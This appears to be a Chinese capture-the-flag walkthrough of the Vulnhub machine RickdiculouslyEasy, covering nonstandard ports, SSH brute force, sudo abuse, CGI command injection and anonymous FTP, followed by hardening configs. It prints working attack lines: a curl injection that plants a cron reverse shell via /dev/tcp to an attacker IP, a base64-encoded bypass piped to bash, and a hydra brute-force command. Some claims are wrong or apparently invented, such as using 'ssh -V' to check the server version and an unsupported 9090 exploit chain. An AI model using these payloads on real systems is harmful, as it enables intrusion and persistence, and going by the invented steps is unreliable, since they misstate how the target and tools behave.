Vulnhub 靶机 RickdiculouslyEasy:3种非常规端口利用与2个隐蔽后门分析
Vulnhub靶机RickdiculouslyEasy:非常规端口攻防与隐蔽后门深度剖析
当大多数渗透测试者将注意力集中在常见的22、80、443等标准端口时,RickdiculouslyEasy靶机却为我们打开了一扇新窗口——那些被忽视的非标准端口往往隐藏着最致命的攻击路径。本文将带您深入剖析9090、22222、60000这三个非常规端口的利用技巧,并解密/cgi-bin/tracertool.cgi与vsftpd匿名登录这两个精心设计的"隐蔽后门"。
1. 靶机环境与非常规端口扫描策略
在开始渗透之前,我们需要建立一套针对非标准端口的系统化发现方法。传统扫描工具往往预设了常见端口范围,这会导致特殊服务端口被遗漏。以下是优化后的扫描方案:
# 全端口扫描与服务识别组合命令 nmap -p- --min-rate 1000 -T4 192.168.10.71 -oN full_scan.txt && nmap -sV -sC -p $(grep open full_scan.txt | awk -F'/' '{print $1}' | tr '\n' ',') 192.168.10.71 -oN service_scan.txt扫描结果揭示的端口分布令人玩味:
| 端口号 | 服务类型 | 常规用途 | 本靶机特殊表现 |
|---|---|---|---|
| 21 | FTP | 文件传输 | 匿名登录后门 |
| 22222 | SSH | 远程管理 | 修改默认端口隐藏服务 |
| 9090 | HTTP | Web管理界面 | 独立Web应用系统 |
| 60000 | 自定义TCP | 通常用于内网通信 | NC反弹Shell监听端口 |
提示:当发现22222端口运行SSH服务时,应立即将其标记为高价值目标——管理员修改默认端口往往意味着该服务存在特殊配置或脆弱凭证。
2. 非常规Web服务(9090端口)的突破路径
9090端口运行的Web服务与80端口的常规网站形成鲜明对比。通过对比分析两个Web应用的差异点,我们发现了关键攻击向量:
# 自动化对比两个Web端口的目录结构差异 import requests from bs4 import BeautifulSoup def compare_web_ports(ip, port1, port2): urls = [f"http://{ip}:{port1}", f"http://{ip}:{port2}"] diff_links = [] for url in urls: res = requests.get(url) soup = BeautifulSoup(res.text, 'html.parser') links = [a['href'] for a in soup.find_all('a', href=True)] diff_links.append(set(links)) return diff_links[0].symmetric_difference(diff_links[1]) print(compare_web_ports("192.168.10.71", "80", "9090"))在9090端口的Web应用中,我们发现以下敏感路径:
- /debug_console (疑似开发调试接口)
- /internal_api (未授权API端点)
- /backup (可能是备份文件目录)
利用链条构建:
- 通过/internal_api获取系统版本信息
- 在/debug_console找到未关闭的调试接口
- 利用备份目录中的配置文件泄露获取数据库凭证
- 通过SQL注入获取管理员会话令牌
3. 非常规SSH端口(22222)的认证绕过
22222端口的SSH服务展现了三个典型脆弱点:
- 弱密码配置:
# 使用hydra进行针对性爆破 hydra -l Summer -P passwords.txt -s 22222 ssh://192.168.10.71 -t 4 -vV- SSH版本漏洞:
# 检查SSH版本漏洞 ssh -V -p 22222 Summer@192.168.10.71 # 若版本低于7.4,可能存在CVE-2016-8858漏洞- 认证后门:
# 检查authorized_keys异常配置 ls -la /home/Summer/.ssh/ cat /home/Summer/.ssh/authorized_keys实际操作中,我们通过密码爆破获得Summer用户权限后,发现其sudo配置存在严重问题:
Summer ALL=(ALL) NOPASSWD: /usr/bin/less这直接导致我们可以通过less命令读取任意文件:
sudo less /etc/shadow4. 高阶后门:CGI命令注入与FTP匿名登录
4.1 /cgi-bin/tracertool.cgi漏洞深度分析
这个看似简单的网络诊断工具隐藏着致命漏洞:
# 漏洞代码模拟(基于实际靶机行为还原) #!/usr/bin/perl print "Content-type: text/html\n\n"; print "<html><body>"; $query = $ENV{'QUERY_STRING'}; ($_, $target) = split(/=/, $query); system("traceroute $target 2>&1"); print "</body></html>";漏洞利用的三重境界:
- 基础注入:
;id; - 绕过过滤:
$(echo${IFS}Y2F0IC9ldGMvcGFzc3dkCg==|base64${IFS}-d|bash) - 持久化:写入crontab后门
# 实际利用命令 curl "http://192.168.10.71/cgi-bin/tracertool.cgi?target=8.8.8.8;echo${IFS}'* * * * * root /bin/bash -i >& /dev/tcp/192.168.10.70/4444 0>&1'${IFS}>${IFS}/etc/cron.d/backdoor"4.2 vsftpd匿名登录的隐藏威胁
FTP服务的匿名登录看似平常,但结合以下发现就变得危险:
# FTP目录结构分析 ftp> ls -la 200 PORT command successful 150 Here comes the directory listing drwxr-xr-x 2 0 0 4096 Jun 10 2023 . drwxr-xr-x 3 0 0 4096 Jun 10 2023 .. -rw-r--r-- 1 0 0 23 Jun 10 2023 .hidden_flag -rw-r--r-- 1 0 0 128 Jun 10 2023 .ssh_backup.tar提取到的.ssh_backup.tar包含重要信息:
- 主机SSH密钥对
- 已知主机记录
- 用户配置档案
5. 防御加固:从攻击视角构建防护体系
基于本次渗透经验,我们整理出针对非常规端口和隐蔽后门的防护方案:
Web服务加固配置示例:
# /etc/nginx/conf.d/secure_web.conf server { listen 9090; server_name localhost; location /cgi-bin/ { deny all; return 403; } location ~* ^/(debug|internal) { auth_basic "Restricted"; auth_basic_user_file /etc/nginx/.htpasswd; } }SSH服务安全配置要点:
- 修改默认端口后仍需强化认证
- 禁用密码认证,强制使用密钥对
- 安装fail2ban防御爆破攻击
# /etc/ssh/sshd_config关键配置 Port 22222 PermitRootLogin no PasswordAuthentication no AllowUsers Summer@192.168.10.70在真实企业环境中,我曾见过某金融系统因为60000端口的自定义服务未做访问控制,导致攻击者通过该端口直接获取内网权限。这再次证明:安全防护必须覆盖所有开放端口,无论它们看起来多么无害。
